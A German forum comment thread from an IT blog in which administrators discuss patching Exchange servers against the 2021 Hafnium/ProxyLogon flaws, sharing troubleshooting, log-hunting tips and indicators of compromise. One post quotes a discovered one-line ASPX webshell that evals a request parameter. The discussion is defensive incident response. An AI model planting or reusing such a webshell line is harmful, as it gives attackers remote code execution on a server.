Download MSERT from Microsoft Safety Scanner Download – Windows security. Note: In case you need to troubleshoot it, see How to troubleshoot an error when you run the Microsoft Safety Scanner.
Read and accept the End user license agreement, then click Next.
Read the Microsoft Safety Scanner Privacy Statement, then click Next.
Select whether you want to do full scan, or customized scan.
Full scan – The most effective way to thoroughly scan every file on the device. It is the most effective option although it might take a long time to complete depending on the directory size of your server.
Customized scan – This can be configured to scan the following file paths where malicious files from the threat actor have been observed:
%IIS installation path%\aspnet_client\*
%IIS installation path%\aspnet_client\system_web\*
%Exchange Server installation path%\FrontEnd\HttpProxy\owa\auth\*
Configured temporary ASP.NET files path
%Exchange Server Installation%\FrontEnd\HttpProxy\ecp\auth\*
These remediation steps are effective against known attack patterns but are not guaranteed as complete mitigation for all possible exploitation of these vulnerabilities. Microsoft Defender will continue to monitor and provide the latest security updates.
Danke! Hat nichts gefunden!
Gruß,
MG
Exchange 2013 DAG erfolgreich gepatcht.
Ich finde keine .js oder .aspx Dateien, die in den letzten 2 Wochen erstellt/modifiziert wurden.
Die Skripte von MS, die die Logs durchsuchen finden auch nichts.
Die Logs vom Loadbalancer muss ich noch durchsuchen.
An der Firewall (auf die schnelle) auch nichts auffälliges gefunden.
Glück gehabt ?!
Wie kann ich denn gezielt nach möglichen Webshells suchen?
Danke und Grüße
MG
Hallo,
Ich habe den Patch erfolgreich eingespielt: 3x 2node-DAG Exchange 2016 CU 19, 1x 3node-DAG Exchange 2016.
Verlief ohne Probleme.
Test-ProxyLogon.ps1 lieferte ebenfalls keine Ergebnisse, was in diesem Fall ja erfreulich ist.
Eine Frage an die Runde:
Wir nutzen als Reverse Proxy vor unseren Exchange Servern jeweils Citrix Netscaler (bzw. ADC). Für jeden vServer bzw. Exchange Direcotry (OWA, ECP, etc.) haben wir auch einen Authentication Server (heisst AAA bei Citrix) konfiguriert. Dieser übernimmt die Authentifizierung der User per LDAP. Erst nach erfolgreicher Authentifzierung gibt Netscaler die Anfrage nach hinten zu den Exchange Servern.
Sehe ich das also richtig, dass in diesem Fall gar keine „untrusted connection“ den Reverse Proxy passieren kann.
Danke für euer Feedback.
Grüsse
Tim
Hallo, wir setzen ebenfalls einen Reverse Proxy ein (HAProxy mit SSL-Bridging – allerdings wird hier nicht authentifiziert wie bei Tim). Wir konnten bei 18 verschiedenen Systemen keinen einzigen Angriff feststellen. Unsere Systeme waren alle am 3.3. um 23H00 erfolgreich gepatcht.
Kann jemand Details nennen zur Aussage von Microsoft („The initial attack requires the ability to make an untrusted connection to Exchange server port 443. „) nennen? Ist jemand betroffen, der ebenfalls HAproxy mit Bridging einsetzt?
Grüsse, Tobi.
Hallo, auch auf die Gefahr sofort gesteinigt zu werden, wir haben noch einen EXC 2019 CU5, ich habe gestern den Zugriff von außen gesperrt, reicht das ?
und ich kann im VLSC nur CU8 runterladen, das meckert aber rum, es kann nicht auf die Registrierung zugreifen, wieso stellt MS nicht die anderen CU6 und CU7 zur Verfügung, sollte doch klar sein das viele nicht aktuell sind ?
Du brauchst doch CU6/CU7 gar nicht, wieso soll das noch verfügbar sein?
Ob das reicht wird davon abhängen ob ihr schon befallen worden seit oder nicht.
Hafnium Tools über den Server laufen lassen, Verzeichnisse des IIS überprüfen… da liegt einiges vor dir.
Wir haben den 7. und die flächende Angriffe laufen seit dem 27.02. Wenn du also erst jetzt den Server vom Internet genommen hast, dann ist da ein Risiko.
Uns hat es beispielsweise wohl am 3. um 4H45 und um 10H35 getroffen. Zumindest laut den Logs Auffäligkeiten. Shells und co konnte ich keine finden, weitere Spuren auch nicht. Ich habe den Server trotzdem geopfert aus Vorsicht.
Patches waren bei uns am 3. um 20H00 fertig installiert. Der betroffene Server wurde am 4. aus Backup wiederhergestellt. Seitdem überwache ich mit dem Hafnium Tool in regelmäßigen Abständen die Logs.
Ich würde am liebsten auch die Kiste vom Internet nehmen, aber dann hat ja ein Teil der Firma kein Zugriff auf seine Emails. Die Hälfte nutzen Macs und ActiveSync :(
Jetzt kann man wirklich nur hoffen, dass der Patch auch wirklich die Lücken geschlossen hat. Ich habe /ecp und /owa sowie /rpc/ vom Internet abgeschirmt. Aber soviel ich sehen konnte versuchten die Angreifer die Daten auch in andere Verzeichnisse abzulegen, zumindest laut einigen Artikeln.
Hallo zusammen,
bin nach der Anleitung https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log mal alles bei uns durchgegangen und bin dann hier bei %PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp directory auf komische Einträge gestoßen..Auf unserem ersten Mailserver sind die Temp Einträge leer und auf dem zweiten stehen komische Einträge drin..Plus eine RDP Verknpüfung..Alles rausgehauen an der Stelle, Einträge vom 04.03 mit der gleichen Uhrzeit..Patches sind installiert
Also davon war bis jetzt in den Reports keine Rede.
Habe aber auch Dateien bei uns in den Ordner gefunden. Datiert gestern Abend (so 23:35) als ich um 02:20 geschaut hatte. Heute morgen waren es dann mehr und alle mit Zeitstempel 03:40… die Dateien hatten auch alle andere Endungen. Gleiche Anfangsbuchstabenkombination.
Ich bin leider zu unerfahren in Exchange um zu sagen ob das normales Verhalten ist oder nicht.
Wir haben die Dateien aufm Server drauf der aktuell mit dem Internet verbunden ist. Auf dem anderen ist das Verzeichnis leer.
Ich habe das Verzeichnis aus Vorsicht soeben auch geleert.
Exchange Server sind seit dem 03. gepatcht.
Tipp zum Skript von Microsoft mit dem URL Rewrite von der Seite. Wir mussten die IDs anpassen im Powershell, damit wir es ausführen konnten. Bei uns lautete der Uninstall Path GUID zum IIS Rewrite nicht {9BCA2118-F753-4A1E-BCF3-5A820729965C}, sondern {128E7B46-BFAF-48B5-B00B-D9E349FE9EFF}.
Danach lief das Skript durch. Bisher aufgrund des aktuellen Skripts zum Glück (noch) kein Grund zur Sorge. Patch direkt installiert nach Veröffentlichung auf heise.
Hi Martin,
danke für die Info.
Wo hast du die GUID gefunden?
Ich kriege ein Fehler bei der Installation. Hast du den Exchange im Wartungsmodus gehabt als du das Skript installiert hast?
Hast du das Rewrite Modul vorher schon installiert, oder es vom Skript machen lassen? Welche Shell hast du benutzt? die Exchange?
Gruß
Alex
Hi,
einfach im HKLM Pfad gesucht nach dem IIS Rewrite Modul. Dazu hab ich es natürlich vorher manuell installiert. Daher dann eben auch die GUID. Kein Wartungsmodus. Hab das IIS Rewrite Modul installiert, einen iisreset gemacht, dann den Zusatz laufen lassen. Einfach die nächstbeste Powershell aus dem Startmenü, war mir egal :)
Bisher habe ich nichts weiter gemerkt.
Hi Martin,
danke für die Infos.
Der Trick war die separate Installation vor dem Skript.
Dann lief es auch problemlos durch.
Gruß
Alex
Habe ebenso WebShells wie Markus berichtet. Neuester Patch mittlerweile installiert.
Kann ich die einfach löschen und dann wieder alles hochfahren?
Oder komplett neu aufsetzen oder Backup von Ende Januar einspielen (angeblich soll es da ja schon erste Angriffe gegeben haben?). Danke für einen Rat!
Aus Backup wiederherstellen dürfte sicherer sein.
Du weiß ja nicht ob es nur WebShells gewesen sind und was über diese alles so getrieben wurde.
Außerdem kann nicht ausgeschlossen werden, dass Webshells in normale Exchange Dateien eingefügt würden. Diese Webshells sind ja nur eine Zeile Code…
Schlägt das Hafnium Skript bei den anderen Schwachstellen auf?
Unsere Kiste ist wohl ziemlich sicher befallen, auch wenn ich es noch nicht wahrhaben möchte. Leider zu spät aktualisiert (gestern Nachmittag).
RedirSuiteServerProxy.aspx in %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
und auch eine JQQXPZ.aspx mit
„http://f/function Page_Load(){eval(Request[„Ananas“],“unsafe“);}“
Beide Files erstellt am 03. März gegen 05:00 Uhr.
Ohje. „Schönes“ Wochenende allen hier.
Tut mir Leid für dich :(
Am besten den Server ausm Backup wiederherstellen.
Ich bin mir nicht sicher wie verbreitet diese Shell mit „Ananas“ als Kennung ist. Huntress hat verlauten lassen, dass es 2 Arten von Webshells nach Kennung gibt… die mit zufälligen Buchstabenkombinationen und die mit richtigen Wörtern. Richtige Wörter könnten ein Anzeichen einer Kategorisierung für die Einstuffung der Firma als Ziel sein (lohnenswert, sehr lohnenswert und so weiter). Aber das ist aktuell noch Spekulation.
Die RedirSuiteServerProxy.aspx Datei haben wir auf beiden Mailservern auch, aber die Datei ist gar nicht aufgelistet unter den möglichen eingeschleusten?
Unterschied zu euch, sie wurde nicht neu erstellt bei uns.
Sorry jetzt erst richtig gesehen..ihr habt die Serverproxy..wir die serviceproxy die als legitim drin ist
Für alle die wie ich so unklug waren die ECP von außerhalb zugänglich zu machen und Sophos UTM nutzen.
Hier gibt es einen ganz guten Artikel wo man in 2 Minuten die ECP auf das interne Netz beschränken kann ohne etwas an den Exchange Servern zu machen.
@Frank: Vielleicht eine Idee dies in deinen tollen How Tos mit zu integrieren.
https://www.hasslinger.com/index.php/de/blog/sophos-sg-utm-konfiguration-der-waf-fuer-exchange-2016-2019-owa-activesync-und-autodiscovery
Mich würde ja interessieren wie sich verhält, wenn man ECP per IP Filter im IIS beschränkt hat. So mache ich das nämlich, weil unsere UTM keine funktionierende Let’s Encrypt Implementierung bietet.
Kann ich dir leider nicht sagen.
Wir haben jetzt erstmal /owa/ /ecp/ und /rpc/ nach außen blockiert. Leider scheinen die Angreifer aber auch andere Pfade zu nutzen.
Ich habe jetzt zusätzlich mal OWA nur auf IP Blocks aus Deutschland beschränkt im IIS. Ziemlicher Aufwand aber ist im Moment wohl eine mögliche Lösung für uns.
Hallo,
es hat nun doch etwas gedauert, da wir mehrere Ansätze verfolgt haben.
Letztendlich war das beste
– KB deinstallieren
-CU19 wieder als unbeaufsichtigte Installation installieren
– KB ( diesmal mit elevated Shell ) wieder installieren.
Alles sehr zeit intensiv.
Wieder was gelernt. ich werde noch vorsichtiger sein ;)
Gruß
Volker
Hallo zusammen,
etwas OT: die Patches schliessen ja die Lücke, vor die das BSI aktuell warnt.
Bei uns läuft noch ein Exchange 2010 mit RU31, dieser sollte ja (jedenfalls laut des BSI) damit safe sein, oder verstehe ich da was faslch? Denn das RU31 ist vom Januar.
Du brauchst RU32, explizit für diese Lücke Anfang März erschienen.
Microsoft aktualisiert laufend die Scripts, hier lohnt sich ein Blick bzw. auf dem Radar zu halten:
https://github.com/microsoft/CSS-Exchange/tree/main/Security
Sowie der Health Checker deckt auch einige Interessante Dinge auf:
https://github.com/dpaulson45/HealthChecker#download
achja,
bei den anderen 3 Tests kam jeweils nix raus,
alle anderen Verzeichnisse außer der Autodiscover wurden nicht gelistet im SCAN.
Schau mal auch meine Antwort oben auf deine Nachricht.
Die Test von MS sind leider sehr rudimentär…
Hier auf Github sind einige nützliche Scripts bereitgestellt und werden laufend erweitert:
https://github.com/microsoft/CSS-Exchange/tree/main/Security
Den HealthChecker finde ich persönlich auch ganz gut:
https://github.com/dpaulson45/HealthChecker#download
Musste jemand auch aus den Backups restoren?
Die Lücken sind so übel, dass ich nichts dem Zufall überlassen wollte und obwohl ich nur Spuren von 2 CVE-26855 Versuche mit einer y.js in den Logs gefunden habe (Dateien aber nicht), habe ich die Kiste geopfert. Keine Lust auf versteckte Webshells oder so.
Das war ja echt ganz große Klasse von Microsoft dieses mal… den Patch raus-bringen während die Kunden längst befallen sind… und der Patch ist wohl am 12. Februar 2021 fertig gewesen wenn man sich die Datei anschaut… Hätte ja nicht geschadet den früher freizugeben.
Na ja, jetzt ist erstmal Feierabend. Hoffen wir mal, dass die Patches halten… hat jemand Versucht die Schwachstellen wie hier mit Nmap nach dem Patchen zu prüfen? https://github.com/GossiTheDog/scanning Bei mir funktioniert es nicht sauber. Er meldet einen Server als möglich angreifbar obwohl der wie empfohlen (Über CMD mit Admin) gepatcht wurde.
Mfg
Alex
Ich hab das hier noch gefunden aber noch nicht getestet
https://github.com/microsoft/CSS-Exchange/tree/main/Security
Danke.
Ich hatte den Vorgänger davon. TestHafnium.
Das Nmap Skript scheint dasselbe zu sein wie bei mir.
Muss ich nachher mal schauen.
ich hab bei uns die LOG Einträge gefunden, also backup vom 03.03 restoren, patch einspielen und im anschluss versuchen die Mails usw. mergen oder was ??
DateTime AnchorMailbox
——– ————-
2021-03-03T07:42:39.914Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
2021-03-03T11:13:46.697Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
2021-03-03T19:26:42.601Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
2021-03-04T18:00:58.370Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
Also die Backups zu holen kann nicht schaden.
Du solltest aber bei dir in den ECP Logs schauen, dass ist interessanter. Das Tool von Microsoft zeigte bei mir auch nur die autodiscover.xml.
Als ich aber die ECP Logs durchgegangen bin zu denselben Timstamps wie die autodiscover.xml konnte ich mehrere POST in die /ECP/ und /RPC/ sehen. bei ECP war es eine y.js wie bei viele auch.
Danach verlor sich die Spur bei mir. Von der Datei keine Spur. Habe aber erst danach gesucht, nachdem ich den Patch eingespielt hatte. Keine Webshells in den Verzeichnissen wie bei anderen. Das MS Tools hat auch nicht angeschlagen für LSASS Dumps, Proc und co.
Trotzdem habe ich die Kiste geopfert und alle Passwörter der Benutzer der Kiste abgeändert.
Wenn du einen DAG hast, dann sollte das Restore nicht schlimm sein. Betroffenen Server aus dem DAG im Wartungsmodus schalten und anschließend entfernen. Backup aktivieren, patchen. Danach das Backup in den DAG zurück führen und die Emaildiskrepanzen werden synchronisiert.
Dein Backup ist vom 03.03? Du glücklicher… mein letztes Vollbackup war von Mitte Dezember vor dem CU19. Ich durfte also CU19, Patch, Windows Update erneut einspielen. Dazu noch das Problem mit der Vertrauenseinstellung im Netzwerk da es länger als 30 Tage gewesen ist. Das nächste geplante Vollbackup wäre vor CU20 gewesen, also in wenigen Tagen :/
Hi Alex, wie kann ich prüfen ob wir befallen sind?
Danke!!!
Hi Toni,
ich fürchte dir bleibt keine Wahl als manuell die Logs zu ECP im Logverzeichnis zu prüfen.
Das Script TestHafnium hat dir ja Timestamps verraten wo ihr getroffen wurdet. Genau diese Timestamps und etwas danach muss du dir anschauen auf diese POST Befehle ins ECP Verzeichnis.
Am besten du schaust auch nach den Agents die die Verbindung aufgebaut haben.
Infos dazu gibt es im sehr guten Post der Firma Veloxity: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
Wenn noch nicht geschehen alle IPs aus dem Post von Veloxity in der Firewall sperren. Es kursieren aber noch andere, die nicht in der Liste sind. Ich bin leider noch nicht dazu gekommen eine Liste anzufertigen. Wenn ich es schaffe, dann würde ich heute Nachmittag eine vorläufige hier rein-setzen.
Wen du eine Sophos UTM nutzt mit der „Client mit schlechten Ruf“ abfrage, dann kann man auch hoffen, dass Sophos gerade nicht schläft und fleißig diese Liste mit den IPs kontinuierlich füttern wird.
Vor dem Hintergrund, dass die Ausnutzung der Exploits trivial ist, ist anzunehmen, dass in den kommenden Stunden und Tagen noch weitere etliche IP Adressen auftauchen werden die nach Server mit der ersten Schwachstelle suchen. Wie ein Sicherheitsforscher gestern meinte, bei den Angreifern herrscht „YOLO“, also es wird aus allen Rohren in allen Richtung gefeuert.
Das muss jetzt aber nicht zu unserem Nachteil sein. Exploits heißen so, weil diese eben ausgenutzt werden müssen. Wenn Firewall und co aktiv sind, dann können die automatisierten Angriffe gestört werden. Das ist auch wohl bei uns vielleicht passiert. Das verschafft dann die notwendige Zeit um eventuell wichtige Daten aus dem Server noch zu retten bevor diese in Quarantäne gehen sollten. Die Angreifer werden sich mit Sicherheit eher auf die Server fokussieren, wo ihre Exploits zuerst komplett durchgelaufen sind.
Um zu prüfen ob Procdump oder andere Tools schon benutzt wurden um Netzwerksicherheitsdaten zu ziehen kannst du hier nach Skripten schauen: https://twitter.com/d1vious/status/1366937178379542528?s=21
Je nachdem wie groß eure Infrastruktur ist und wie sensibel wäre es an der Zeit den Server vorerst zu isolieren bis eure Recherchen abgeschlossen sind.
In meinem Fall habe ich den alten Satz „Better Safe than Sorry“ angewendet. Server aus DAG. Komplettsicherung vom Server für Spurensicherung. Server aus Hypervisor gelöscht. Letztes Full Backup aus Dezember auf Hypervisor und dann das Backup auf aktuellen Stand inkl. Patches gebracht. Danach das Backup ins DAG zurück.
Hi Toni,
also ich hatte dir heute morgen geantwortet, aber beim Beitrag stand dann, dass er in der Prüfung ist.
Nach einem Reload der Webseite war er nicht mehr zu sehen.
Vielleicht sieht ihn Frank aber und kann diesen freischalten, oder wenn nicht mir sagen woran es lag, dass dieser blockiert wurde.
Ich hatte eigentlich nur Links zu anderen Webseiten gepostet wo du mehr Informationen bekommst.
Suche mal nach Volexity und deren Blogeintrag vom 2. März 2021. Da steht viel drin, die benutzten Identifizierungen der Clients, IP Adressen die aktiv angreifen und so weiter.
Prüfe die Logs vom ECP manuell… zu den Zeitstempeln wo das Skript ausgeschlagen hat. Da sollten POST von einer y.js Datei und weitere Aktionen zu sehen sein.
In meinen vorherigen Post war ein Link zu Twitter wo man verschiedene Skripte runterladen konnte um festzustellen ob es zur Nutzung von weiterer Software auf dem Server gekommen ist um Sicherheitsdaten abzugreifen.
Server in Quarantäne. Backups raus-holen und diese für das Ersetzten des Servers vorbereiten.
Wenn ich es schaffe kommt heute später eine Liste von IP Adressen die ich aus den ganzen Posts im Internet als angreifend ermitteln konnte.
Alex,danke für deine ausführlichen Antworten.Glücklicherweise gab es keine positive Ausgabe bei uns aus dem Skript.
Ich drücke euch allen die Daumen
Hi hab nen 2016 CU13.
Sind die davon nicht betroffen?
Microsoft gibt nur Sicherheitspatche für die letzten beiden CU‘s raus und das wären 18 & 19. Dein System mit CU13 ist veraltet und sollte zeitnah hochgezogen werden. Da sind so einige Lücken/Schwachstelle die mit den folgenden CU‘s behoben werden.
Also plane mal ein paar Stunden für die CU‘s bei dir ein da auch Zwischenschritte notwendig sind und nächste Woche kommt das letzte CU20 raus.
Mfg Paul
Exchange 2019 CU8 DAG. Installation lief problemlos durch.
Allerdings lief die Installation auf dem zweiten DAG-Member, nachdem der erste bereits aktualisiert war, relativ schleppend (Zertifikatsprüfung war deaktiviert) + konnte ich feststellen, dass er die Exchange-Dienste nicht beendet hat / beenden konnte *schwitz* Installation lief dennoch durch und Probleme konnten nach Neustart nicht beobachtet werden.
Ich hatte nach der Installation das Problem, dass der Installer festhing. Das hier hat geholfen.
https://www.tech-faq.net/windows-wird-vorbereitet-schalten-sie-den-computer-nicht-aus/
Jule,
lies noch mal weiter oben…
Gruß
Weiss jemand wie es ist wenn alle Services erst nach 2FA auf einem Application Proxy erreichbar sind?
Würde mich auch sehr interessieren. Das ist mir bis jetzt noch nirgends klar hervorgegangen. /ECP und /OWA sind bei uns eben nur mittels 2FA App. Proxy erreichbar, Active Sync, MAPI und EWS jedoch direkt.
Sobald Port 443 (oder 80) auf den Exchange gehen von außen, seid ihr angreifbar. Wenn die Authentication für ALLE Services vorab ein Proxy übernimmt, seid ihr kaum angreifbar, dann bräuchte der Angreifer einen Login.
Hallo,
ich habe heute alle Win-Updates sauber durchlaufen lassen, kann aber das KB5000871 (https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b)
nicht unter installierten Updates finden. Muß man dies manuell runterladen und installieren?
Build ist Exchange Server 2016 CU12
Dann wirst du auf CU18 oder CU19 aktualisieren _müssen_. Eigentlich logisch, wenn man den Artikel mal gelesen hätte. ;)
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901
Hallo zusammen,
hat jemand eine Ahnung was zu tun ist wenn das Microsoft Skript Warnungen generiert hat und man auch geänderte Dateien gefunden hat.
Beste Grüße
Hatte den Fehler bei Exchange 2016 CU18, dass sich 21 dll`s nicht aktualisieren ließen (z.B. Microsoft.Exchange.OData.dll ..).
Durch das jeweilige Umbenennen der im Setup-Prozess angezeigten, problematischen dll`s lief das Setup schrittweise durch.
Die Dienste wurden danach wieder ohne Probleme gestartet. Auch nach einen Neustart des Servers liefen alle Dienste ohne Probleme.
Gruß, Rob.
CMD Rechtsklick -> als Administrator ausführen, ins entsprechende Verzeichnis navigieren und die *.msp-Datei in diesem CMD-Fenster ausführen.
Hi, ich habe die .MSP so ausgeführt. Elevated war per Rechtsklick nicht auswählbar. Ich hätte es in einer Admin Eingabeaufforderung machen können, ok. Ich bin nun schon durch UpdateCas.ps1 und UpdateConfigFiles.ps, aber ohne positives Ergebnis.
Gruß
Volker
Guten Abend Volker,
ach ja, das MSP normal ausführen… der typische Fehler. Ist mir damals am Anfang auch mal passiert und seitdem nie wieder nach dem ganzen Aufwand.
Wenn du die Verzeichnisse wiederhergestellt hast, hast du mal geschaut ob die Pfade bei dir stimmen? Nur die Verzeichnisse neu erstellen bringt nichts wenn die Pfade falsch sind. Das war damals bei mir auch der Fall. Nachdem ich diese korrigiert hatte und ein IISReset gemacht hatte, lief es wieder.
@all: Hat einer bei sich diese y.js vorgefunden? Laut Logs hat der Angreifer diese über POST bei mir ins ECP schieben können, aber ich konnte keine Spur der Datei finden. Ich hatte wohlgemerkt zwischenzeitlich den Patch eingespielt.
Die Informationspolitik von Microsoft ist doch sehr bescheiden… keiner scheint genau zu wissen wozu diese .js da war.
Ich habe nach den Webshells und co. geschaut, da war nichts davon auf dem Server. Antivirus laufen lassen. Auch nichts.
Was ich bemerkenswert finde, ist das wenn ich den Befehl vom MS anwende um zu prüfen ob es den Breach gab, dann spuckt die Powershell mir 2 Versuche aus bezogen auf die Autodiscover. Nichts zur ECP. Ob das damit zu tuen hat das für den Zugriff auf die ECP der Angreifer sich schon die Zugangsdaten erschlichen hatte?
Wenn ich aber selber tiefer in die Logs gehe, dann erscheint auch ,dass der Angreifer gleich danach diese y.js ins ECP Verzeichnis mittels POST geschoben hat.
Anschließend wollte er wohl in /RPC/ rein, aber das hat die Firewall laut Logs wohl verhindert.
Ich werde da irre muss ich sagen. Gehackt oder nicht gehackt, das ist hier die Frage :/
Gruß
Alex
Hallo Alex,
bei uns konnten wir genau die gleichen Anhaltspunkte ausmachen. Die Versuche kamen hier ebenfalls von der IP 86.105.18.116 am 03.03.
Mich hat es auch verrückt gemacht, dass der POST auf /ecp/y.js laut IIS Logs erfolgreich war (HTTP 200). Auch wir konnten die Datei aber nicht finden und auch die Suche nach den bekannten Webshells blieb bisher erfolglos.
Laut dem folgenden Blog sind dies aber eben schon starke Hinweise für einen erfolgten Exploit:
https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/
Zur Analyse kann ich noch die bereitgestellten Infos von huntresslabs empfehlen:
https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers/
Wir sind gerade immer noch dran und analysieren den Server und die Logfiles weiter. Es werden ja auch immer neue Details bekannt.
Gruß
Tobi
Hi Tobi,
ja ,die Infos von Huntress habe ich auch gelesen. Leider deren beide Webinare verpasst weil ich im Mitigation Modus war.
Fireeye ist jetzt auch mit einem Beitrag draußen siehe https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html
Wie ich schon mehrmals geschrieben habe. Am besten ist es auf Verdacht den Server zu opfern. Sicherung vom Server zur späteren Spurensuche und dann weg damit.
Damit kann vom Server keine weitere Gefahr mehr ausgehen. In ein paar Tagen wenn sich die Aufregung gelegt hat kann dann der betroffene Server in einer gesicherten Umgebung seziert werden nach weiteren Anhaltspunkten.
Alle Passwörter der Konten die auf dem Server mal aktiv waren sofort ändern.
Vorbereitungen treffen eventuell bei allen Nutzern die Passwörter zu ändern.
Ich selber vermute, dass die Angriffe durch die IP 86.105.18.116 nur die Prüfung auf Möglichkeit des Exploits war, da ja danach keine weiteren Spuren zu finden waren. Aber wie gesagt im Zweifel lieber den Server verlieren, als das interne Netz weiter zu riskieren.
Gruß
Alex
Hey Tobi,
schau mal bitte ganz nach unter im Verkauf auf meinen neusten Post von heute.
Es gibt keine guten Nachrichten für die die von der IP 86.105.18.116 Besuch hatten.
Es waren wohl keine Versuche, sondern Exploits :(
Gruß
Alex
Hallo,
ich habe das gerade installiert, seit dem geht OWA nicht mehr.
X-ClientId: 28E797766EEA4448921B59EAAA79961D
request-id 3246ba59-1bd1-4452-9b13-42fe2d9b8056
X-OWA-Error System.Web.HttpUnhandledException
X-OWA-Version 15.1.2176.9
X-FEServer EXC01
X-BEServer EXC02
Date:04.03.2021 12:04:11
InnerException: System.IO.DirectoryNotFoundException
….Gruß Volker ;)
…und ja, ECP auch nicht mehr :(
Ich suche …..
Moin,
wie hast du das Update installiert? mit erhöhten Rechten wie von Microsoft empfohlen?
Ließt sich so als ob die Verzeichnisse für OWA und ECP nicht sauber erneuert wurden. Passiert wenn Updates mit nicht genügend Rechte gestartet werden und somit nicht alle Dateien bearbeiten konnten.
Siehe auch hier: https://www.frankysweb.de/exchange-2016-serverfehler-in-anwendung-owa-und-oder-ecp/
Gruß
Alex
Moin,
sieht man das Update für Exchange 2013 nach der Installation in der Updateübersicht? Z.B. über den Befehl dism /online /get-packages oder muss ich woanders gucken?
MfG Maik
Ich sehe es unter den Installierten Updates in der Systemsteuerung
Hi Maik
Ich habe es auf eingen Servern in der Systemsteuerung, auf einem Server 2012 mit Exchange 2016 CU19 sehe ich das Update nicht… Die Installation war OK, aber es ist nicht prüfbar.
habe es nun mit dem HealthChecker geprüft, und das System scheint gepatcht zu sein.
https://github.com/dpaulson45/HealthChecker
Unter „Systemsteuerung – Windows Update – Updateverlauf anzeigen“ wird es bei mir nicht angezeigt. Klickt man dort aber auf „Installierte Updates“ wird es angezeigt.
Danke für eure antworten.
Moin,
patches auf Exchange 2016 CU19 im DAG ohne nennenswerte Probleme aufgespielt.
Hat jemand mal die Log überprüft wie von Microsoft empfohlen?
Ich konnte in den Logs zwei Interaktionen am 3. März 2021 der IP Adresse 86.105.18.116 feststellen, welche wohl 2 mal über Autodiscover versucht hat die CVE-2021-26855 zu prüfen oder sogar auszunutzen.
Ich habe alles wie von Microsoft empfohlen überprüft. Keine weiteren Spuren. Keine Webshells gefunden, keine Dateien mit neueren Datum… trotzdem bin ich da etwas verunsichert.
„… Ich habe alles wie von Microsoft empfohlen überprüft…“
Wo genau findet man eine Übersicht was alles geprüft werden soll wenn verdächtige Einträge in den Logs zu finden sind?
Auf 2013er CU23 waren nach dem Update alle Exchangedienste deaktiviert. Auch andere Dienste u.a. IIS mussten angeglichen werden.
Ich habe mit meinem anderen Mailserver verglichen.
Danach lief es bisher ohne Probleme :/ wenn man es dann so nennen kann.
Kennt eventuell jemand ein Script um die Dienste vorher/nachher vergleiche zu können?
Das ist nicht besonders schön aber es funktioniert:
$SollExport=“c:\skripte\DiensteSoll.txt“
$IstExport=“c:\skripte\DiensteIst.txt“
#Dienste vor dem Update erfassen und in Datei exportieren
Get-Service|select name,status,starttype|Out-File $SollExport
#Dienste nach dem Update erfassen und in Datei exportieren
Get-Service|select name,status,starttype|Out-File $IstExport
#Dienste vergleichen
$Dienste = @()
$Dienste = Compare-Object $(Get-Content $SollExport) $(Get-Content $IstExport)
Foreach ($Dienst in $Dienste)
{
$Ausgabe = $Dienst.inputobject + ($Dienst.sideindicator -replace(„=>“,“ Vorher“)) -replace(„<="," Nachher")
$Ausgabe
}
Kann es sein, daß in dem Script vorher und nachher vertauscht sind?
Installation problemlos auf 2x2016er CU18 mit DAG installiert
Mal ganz ehrlich, wie kann die Sicherheitslücke wirklich ausgenutzt werden, nach meinen Recherchen muss eine unverschlüsselte Verbindung auf Port 80 möglich sein, wenn nur Port 443 nach extern per FW veröffenlicht ist, ist man damit akut bedroht?!? Die Frage deshalb, man kann nicht alles sofort akt., sondern man muss priorisieren.
Kann das jemand übersetzen, ich verstehe es nicht?
The initial attack requires the ability to make an untrusted connection to Exchange server port 443.
Nein, untrusted heißt hier einfach nur, dass Geräte auf den Exchange Zugriff haben, die eigentlich keinen haben sollten. Egal ob per Reverse Proxy/ACL, Firewall Regeln oder sonst was. Wenn dein ECP also frei aus dem Internet per 443 erreichbar ist, ist quasi jeder PC, Server etc im www eine untrusted connection.
Danke.
das ist schon ungenau beschrieben bei MS. Meiner Aufassung nach würde das doch bedeuten, dass die TLS-verbindung nicht vertrauenswürdig ist.
„untrusted connection“ bei HTTPS heißt, dass die Zertifikatsvalidierung nicht erfolgreich ist, z.B. wenn man mit einer IP auf den Server verbindet.
Geht es da wirklich nur um Verbindungen an die ecp, oder sind vielmehr alle Verbindungen, also auch der übliche Zugang an owa gemeint?
Das war nur ein Beispiel. Es geht natürlich um alles was auf dem Exchange via 443 erreichbar ist(ECP, OWA, EWS).
Gruß
Hi Sebastian,
das Problem ist das eine Exchange-HTTP-Assembly hier eine Sicherheitslücke hat, egal ob per Port 80 oder Port 443.
Diese erlaubt einen File-Upload Richtung Exchange und du kannst danach eine schöne Web-Shell öffnen die lokale Admin-Rechte im Exchange-Cluster hat.
Hallo in die Runde,
für mich stellt sich die Frage, ob die Probleme schon bei CU17 und kleiner (EX2016) aufgetreten sind oder ob die Probleme nur bei CU 18 und CU19 auftreten? Geht Microsoft, dass man immer die neuesten CUs installiert hat?
Ich freue mich über eine kurze Rückmeldung.
Vielen Dank.
Thomas Müller
Ich bin wegen der mangelhaften CU 18 und 19 für Ex2016 auch noch auf 17. Ich gehe mal davon aus, dass diese auch diese Sicherheitslücken aufweisen. MS bietet aber halt nur für die letzten zwei CUs die Updates an. Sprich auch ich werde jetzt auf CU19 updaten, obwohl da immer noch Probleme mit der Preview drin sind!
Sehr unschön mal wieder….
